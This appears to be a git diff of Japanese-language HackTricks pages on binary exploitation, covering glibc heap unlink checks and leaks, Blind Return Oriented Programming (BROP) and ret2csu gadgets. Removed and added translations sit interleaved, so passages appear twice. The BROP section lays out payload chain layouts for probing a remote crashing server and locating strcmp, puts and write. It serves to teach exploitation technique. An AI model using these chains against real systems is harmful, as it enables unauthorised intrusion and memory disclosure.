* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
@ -65,28 +65,43 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
```
### グラフィカルな説明
unlinkプロセスの素晴らしいグラフィカルな説明をチェックしてください:
unlinkプロセスの素晴らしいグラフィカルな説明を確認してください:
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### セキュリティチェック
- チャンクの指定されたサイズが次のチャンクで指定されたprev_sizeと同じかどうかを確認します
- また、`P->fd->bk == P` および `P->bk->fw == P` が成り立つかどうかを確認します
- チャンクが小さくない場合は、`P->fd_nextsize->bk_nextsize == P` および `P->bk_nextsize->fd_nextsize == P` を確認しま
* チャンクの指定サイズが次のチャンクのprev\_sizeと同じであることを確認する
* また、`P->fd->bk == P` および `P->bk->fw == P` であることを確認する
* チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P` および `P->bk_nextsize->fd_nextsize == P` であることを確認す
### リーク
unlinkされたチャンクは割り当てられたアドレスをクリアしないため、それにアクセスできると、いくつかの興味深いアドレスをリークすることができます:
unlinkされたチャンクは割り当てられたアドレスをクリーニングしないため、アクセスして読むことができれば、いくつかの興味深いアドレスをリークすることが可能です:
Libcリーク
- もしPが双方向リンクリストの先頭にある場合、`bk` はlibc内の `malloc_state` を指しています
- もしPが双方向リンクリストの末尾にある場合、`fd` はlibc内の `malloc_state` を指しています
- 双方向リンクリストに空きチャンクが1つだけ含まれている場合、Pは双方向リンクリストにあり、`fd` と `bk` の両方が `malloc_state` 内のアドレスをリークする可能性があります。
* Pが二重リンクリストの先頭にある場合、`bk`はlibcの`malloc_state`を指します
* Pが二重リンクリストの末尾にある場合、`fd`はlibcの`malloc_state`を指します
* 二重リンクリストに1つのフリーなチャンクしか含まれていない場合、Pは二重リンクリストにあり、`fd`と`bk`の両方が`malloc_state`内のアドレスをリークすることができます。
ヒープリーク:
- もしPが双方向リンクリストの先頭にある場合、`fd` はヒープ内の利用可能なチャンクを指しています
- もしPが双方向リンクリストの末尾にある場合、`bk` はヒープ内の利用可能なチャンクを指しています
- Pが双方向リンクリストにある場合、`fd` と `bk` はヒープ内の利用可能なチャンクを指しています
* Pが二重リンクリストの先頭にある場合、`fd`はヒープ内の利用可能なチャンクを指します
* Pが二重リンクリストの末尾にある場合、`bk`はヒープ内の利用可能なチャンクを指します
* Pが二重リンクリストにある場合、`fd`と`bk`の両方がヒープ内の利用可能なチャンクを指します
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,131 +1,132 @@
# BROP - Blind Return Oriented Programming
{% hint style="success" %}
AWSハッキングの学習と練習<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングの学習と練習<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksのサポート</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、ハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 基本情報
この攻撃の目的は、**脆弱なバイナリに関する情報がなくてもバッファオーバーフローを介してROPを悪用できるようにすること**です。\
この攻撃はのシナリオに基づいています:
この攻撃の目的は、**脆弱なバイナリに関する情報がなくてもバッファオーバーフローを介してROPを悪用できるようにすること**です。\
この攻撃は以下のシナリオに基づいています:
- スタックの脆弱性とそれをトリガーする方法の知識。
- クラッシュ後に再起動するサーバーアプリケーション。
* スタックの脆弱性とそれをトリガーする方法の知識。
* クラッシュ後に再起動するサーバーアプリケーション。
## 攻撃
### **1. 脆弱なオフセットを見つける** サーバーの故障が検出されるまで1文字追加して送信
### **1. 脆弱なオフセットを見つける** サーバーの異常が検出されるまで1文字多く送信する
### **2. キャナリーをブルートフォース** してリークす
### **2. カナリアをブルートフォース** して漏洩させ
### **3. スタック内の保存されたRBPとRIP** アドレスをブルートフォースしてリークす
### **3. スタック内の保存されたRBPとRIP** アドレスをブルートフォースして漏洩させ
これらのプロセスに関する詳細情報は、[こちらBF Forked & Threaded Stack Canaries](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)および[こちらBF Addresses in the Stack](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)で見つけることができます。
これらのプロセスに関する詳細情報は、[こちら (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)および[こちら (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)で見つけることができます。
### **4. ストップガジェットを見つける**
### **4. 停止ガジェットを見つける**
このガジェットは、ROPガジェットによって実行された興味深い動作を確認するためのもので、実行がクラッシュしなかったことを示します。通常、このガジェットは**実行を停止**するものであり、特定のROPガジェットが実行されたことを確認するためにROPガジェットを探す際にROPチェーンの最後に配置されます。
このガジェットは基本的に、ROPガジェットによって何か興味深いものが実行されたことを確認するためのもので、実行がクラッシュしなかったことを示します。通常、このガジェットは**実行を停止する**ものであり、特定のROPガジェットが実行されたことを確認するためにROPチェーンの最後に配置されます。
### **5. BROPガジェットを見つける**
このテクニックは、[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、このガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットを取得できるためです:
この技術は[**ret2csu**](ret2csu.md)ガジェットを使用します。これは、いくつかの命令の途中でこのガジェットにアクセスすると、**`rsi`**と**`rdi`**を制御するガジェットが得られるためです:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
これらがガジェットです:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
これらのガジェットを使用すると、関数の**引数を2つ制御**することが可能です
これらのガジェットを使用すると、関数を呼び出すための**2つの引数を制御**できることに注意してください
また、ret2csuガジェットは、スタックから6つのレジスタをポップするため、**非常にユニークなシグネチャ**を持っています。そのため、次のようなチェーンを送信すると
また、ret2csuガジェットは**非常にユニークなシグネチャ**を持っているため、スタックから6つのレジスタをポップします。したがって、次のようなチェーンを送信します
`'A' * オフセット + キャナリー + rbp + ADDR + 0xdead * 6 + STOP`
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
**STOPが実行される**場合、これは基本的にスタックから6つのレジスタをポップするアドレスが使用されたことを意味します。または使用されたアドレスがSTOPアドレスであることを意味します。
**STOPが実行される**場合、これは基本的に**スタックから6つのレジスタをポップするアドレス**が使用されたことを意味します。または、使用されたアドレスもSTOPアドレスであったことを意味します。
この最後のオプションを**除する**ために、前のものが6つのレジスタをポップしたことを確認するために、次のような新しいチェーンが実行され、STOPガジェットが実行されない必要があります
この最後のオプションを**除するために**、次のような新しいチェーンが実行され、前のものが6つのレジスタをポップしたことを確認するためにSTOPガジェットを実行してはなりません
`'A' * オフセット + キャナリー + rbp + ADDR`
`'A' * offset + canary + rbp + ADDR`
ret2csuガジェットのアドレスを知っていると、**`rsi`****`rdi`**を制御するガジェットのアドレスを**推測**することができます。
ret2csuガジェットのアドレスを知っていると、**`rsi`と`rdi`を制御するガジェットのアドレスを推測する**ことが可能です。
### 6. PLTを見つける
PLTテーブルは0x400000からまたはスタックからの**リークしたRIPアドレス**PIEが使用されている場合から検索できます。テーブルの**エントリ**は16B0x10Bで区切られており、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、PLTの**エントリ + 6Bのアドレス**をチェックしてもクラッシュしません。これは最初に実行されるコードです。
PLTテーブルは0x400000から、またはスタックからの**漏洩したRIPアドレス**から検索できます(**PIE**が使用されている場合)。テーブルの**エントリ**は**16B**0x10Bで区切られており、1つの関数が呼び出されると、引数が正しくなくてもサーバーはクラッシュしません。また、**PLTのエントリのアドレス + 6Bもクラッシュしません**。これは最初に実行されるコードです。
したがって、次の動作をチェックしてPLTテーブルを見つけることができます
したがって、次の動作を確認することでPLTテーブルを見つけることができます
- `'A' * オフセット + キャナリー + rbp + ADDR + STOP` -> クラッシュしない
- `'A' * オフセット + キャナリー + rbp + (ADDR + 0x6) + STOP` -> クラッシュしない
- `'A' * オフセット + キャナリー + rbp + (ADDR + 0x10) + STOP` -> クラッシュしない
* `'A' * offset + canary + rbp + ADDR + STOP` -> クラッシュしない
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> クラッシュしない
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> クラッシュしない
### 7. strcmpを見つける
**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムをリークさせるためにそれが**0より大きい**必要があります。
**`strcmp`**関数は、比較される文字列の長さをレジスタ**`rdx`**に設定します。**`rdx`**は**3番目の引数**であり、後で`write`を使用してプログラムを漏洩させるために**0より大きい**必要があります。
`strcmp`の場所をPLTで見つけることができ、2つの最初の引数を制御できることを利用して、次のような動作に基づいてPLT内の`strcmp`の場所を見つけることができます:
**`strcmp`**のPLT内の位置を、その動作に基づいて見つけることができます。これにより、関数の最初の2つの引数を制御できることがわかります:
- strcmp(\<読み取り不可アドレス>, \<読み取り不可アドレス>) -> クラッシュ
- strcmp(\<読み取り不可アドレス>, \<読み取り可能アドレス>) -> クラッシュ
- strcmp(\<読み取り可能アドレス>, \<読み取り不可アドレス>) -> クラッシュ
- strcmp(\<読み取り可能アドレス>, \<読み取り可能アドレス>) -> クラッシュしない
* strcmp(\<非読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
* strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
これを確認するために、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用することができます。これは、**PLTテーブルのエントリ + 0xb****`dlresolve`**を呼び出す)を呼び出し、スタックに続いて**調査したいエントリ番号**ゼロから開始を配置することで、最初のエントリからすべてのPLTエントリをスキャンする方法です:
これは、PLTテーブルの各エントリを呼び出すか、**PLTスローパス**を使用して確認できます。これは基本的に**PLTテーブルのエントリを呼び出し + 0xb****`dlresolve`**を呼び出す)し、その後スタックに**調査したいエントリ番号**ゼロから始まるを配置して、最初のエントリからすべてのPLTエントリをスキャンします:
- strcmp(\<読み取り不可アドレス>, \<読み取り可能アドレス>) -> クラッシュ
- `b'A' * オフセット + キャナリー + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュす
- strcmp(\<読み取り可能アドレス>, \<読み取り不可アドレス>) -> クラッシュ
- `b'A' * オフセット + キャナリー + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
- strcmp(\<読み取り可能アドレス>, \<読み取り可能アドレス>) -> クラッシュしない
- `b'A' * オフセット + キャナリー + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
* strcmp(\<非読み取りアドレス>, \<読み取りアドレス>) -> クラッシュ
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> クラッシュしま
* strcmp(\<読み取りアドレス>, \<非読み取りアドレス>) -> クラッシュ
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<読み取りアドレス>, \<読み取りアドレス>) -> クラッシュしない
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
覚えておくべきこと
覚えておいてください
- BROP + 0x7は**`pop RSI; pop R15; ret;`**を指
- BROP + 0x9は**`pop RDI; ret;`**を指
- PLT + 0xbは**`dl\_resolve`**を呼び出す
* BROP + 0x7は**`pop RSI; pop R15; ret;`**を指しま
* BROP + 0x9は**`pop RDI; ret;`**を指しま
* PLT + 0xbは**dl\_resolve**への呼び出しを指します。
`strcmp`を見つけたら、**`rdx`**を0より大きい値に設定できます。
`strcmp`を見つけることで、**`rdx`**を0より大きい値に設定することが可能です。
{% hint style="success" %}
通常、`rdx`にはすでに0より大きい値が格納されている場合が多いため、このステップは必要ないかもしれません。
通常、`rdx`にはすでに0より大きい値が格納されているため、このステップは必要ないかもしれません。
{% endhint %}
### 8. Writeまたは同等の機能の検索
最後に、バイナリを外部に持ち出すためにデータを外部に持ち出すためのガジェットが必要です。そしてこの時点で**2つの引数を制御し、`rdx`を0より大きく設定できる**必要があります。
### 8. Writeまたは同等のものを見つける
これを達成するために悪用できる3つの一般的な関数があります:
最後に、バイナリを漏洩させるためにデータを外部に送信するガジェットが必要です。そして、この時点で**2つの引数を制御し、`rdx`を0より大きく設定することが可能です。**
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
これに悪用できる一般的な関数は3つあります
しかし、元の論文では**`write`**のみが言及されているため、それについて話しましょう:
* `puts(data)`
* `dprintf(fd, data)`
* `write(fd, data, len(data)`
現在の問題は、**PLT内のwrite関数の場所がわからず**、かつ**ソケットにデータを送信するためのfd番号もわからない**ということです。
ただし、元の論文では**`write`**のみが言及されているため、これについて話しましょう:
ただし、**PLTテーブルの場所はわかっており**、その**動作に基づいてwriteを見つけることが可能**です。そして、サーバーと**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続に一致することを期待することができます。
現在の問題は、**PLT内のwrite関数がどこにあるか**がわからず、**データをソケットに送信するためのfd番号がわからない**ことです。
これらの関数を見つけるための動作のシグネチャ:
しかし、**PLTテーブルの位置はわかっており**、その**動作**に基づいてwriteを見つけることが可能です。また、サーバーとの**複数の接続**を作成し、**高いFD**を使用して、いくつかの接続に一致することを期待できます。
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷された場合、putsが見つかりました
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷された場合、dprintfが見つかりました
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷された場合、writeが見つかりました
これらの関数を見つけるための動作シグネチャ:
## 自動的な悪用
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、putsが見つかりました
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、dprintfが見つかりました
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、writeが見つかりました
## 自動エクスプロイト
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
@ -133,3 +134,18 @@ PLTテーブルは0x400000からまたはスタックからの**リークしたR
* 元の論文: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# Ret2csu
{% hint style="success" %}
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングの学習と実践: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksのサポート</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
@ -19,15 +19,15 @@ GCPハッキングの学習と実践: <img src="/.gitbook/assets/grte.png" alt="
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本情報
**ret2csu**は、プログラムの制御を取得しようとしているが、通常使用するプログラムの動作を操作するための**ガジェット**を見つけることができない場合に使用されるハッキングテクニックです。
**ret2csu**は、プログラムを制御しようとする際に、通常使用する**gadgets**が見つからない場合に使用されるハッキング技術です。
プログラムが特定のライブラリ(例: libcを使用すると、プログラム内の異なる部分がどのように通信するかを管理するための組み込み関数がいくつかあります。これらの関数の中には、特に`__libc_csu_init`と呼ばれる1つの隠れた宝石として機能するものがあります。
プログラムが特定のライブラリ(libcなどを使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に`__libc_csu_init`と呼ばれるものが、私たちの欠けているgadgetsとして機能する隠れた宝物があります。
### \_\_libc\_csu\_init内のマジックガジェット
### \_\_libc\_csu\_initの魔法のgadgets
**`__libc_csu_init`**には、強調すべき2つの命令シーケンス(ガジェット)があります:
**`__libc_csu_init`**には、強調すべき2つの命令のシーケンスgadgetsがあります
1. 最初のシーケンスは、いくつかのレジスタrbx、rbp、r12、r13、r14、r15に値を設定できます。これらは、後で使用する数値やアドレスを格納できるスロットのようなものです。
1. 最初のシーケンスは、いくつかのレジスタrbx、rbp、r12、r13、r14、r15に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。
```armasm
pop rbx;
pop rbp;
@ -37,18 +37,18 @@ pop r14;
pop r15;
ret;
```
このガジェットを使用すると、スタックから値をポップしてそれらを使用してこれらのレジスタを制御できます。
このガジェットは、スタックから値をポップしてこれらのレジスタを制御することを可能にします。
2. 2番目のシーケンスでは、設定した値を使用して次のことを行います:
* **特定の値を他のレジスタに移動**しそれらを関数のパラメータとして使用できるようにします。
* r15とrbxの値を足し合わせて、rbxを8倍にした場所に**コールを実行**します。
2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います:
* **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。
* **r15とrbxの値を足し合わせ、rbxを8倍することによって決定された場所にコールを実行**します。
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
2. もしかしたら、そこに書き込むアドレスがわからず、**`ret` 命令が必要**になるかもしれません。2番目のガジェットも**`ret` で終わります**が、それに到達するためにはいくつかの**条件**を満たす必要があります:
2. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わります**が、それに到達するためにはいくつかの**条件**を満たす必要があります:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -60,10 +60,10 @@ jnz <func>
...
ret
```
以下は条件です:
条件は次のとおりです:
- `[r12 + rbx*8]` は呼び出し可能な関数を指すアドレスを指している必要がありますアイデアがなく、PIE もない場合は、単に `_init` 関数を使用できます):
- もし `_init``0x400560` にある場合、GEF を使用してそれに対するメモリ内のポインタを検索し、`[r12 + rbx*8]` がポインタを持つアドレスであるようにします:
* `[r12 + rbx*8]` は呼び出し可能な関数を格納しているアドレスを指している必要がありますアイデアがなく、PIEがない場合は、単に `_init` 関数を使用できます):
* `_init``0x400560` にある場合、GEFを使用してメモリ内のポインタを検索し、`[r12 + rbx*8]` `_init` へのポインタを持つアドレスにします:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@ -73,16 +73,16 @@ gef➤ search-pattern 0x400560
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
* `rbp``rbx`同じ値を持っている必要がありますジャンプを回避するために
* 考慮すべき省略されたポップがいくつかあります
* `rbp``rbx`ジャンプを避けるために同じ値でなければなりません
* 考慮すべき省略されたポップがあります
## RDI と RSI
ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです:
ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
詳細については、このページをチェックしてください:
詳細についてはこのページを確認してください:
{% content-ref url="brop-blind-return-oriented-programming.md" %}
[brop-blind-return-oriented-programming.md](brop-blind-return-oriented-programming.md)
@ -90,16 +90,16 @@ ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方
## 例
### コールの使用
### コールを使用する
システムコールを行いたいか、`write()` のような関数を呼び出したい場合、`rdx` と `rsi` レジスタに特定の値が必要です。通常、これらのレジスタを直接設定するガジェットを探しますが、見つけることができません。
syscall を行うか、`write()` のような関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要だとします。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
ここで **ret2csu** が登場します:
ここで **ret2csu** が登場します
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に入れます。
2. **2番目のガジェットを使用**: これらのレジスタが設定されたら、2番目のガジェットを使用します。これにより、選択した値を `rdx``rsi` に移動できます (それぞれ r14 と r13 から)。これにより、関数呼び出しのためのパラメータが準備されます。さらに、`r15` と `rbx` を制御することで、計算して `[r15 + rbx*8]` に配置するアドレスにある関数をプログラムが呼び出すことができます。
1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、および r15 に入れます。
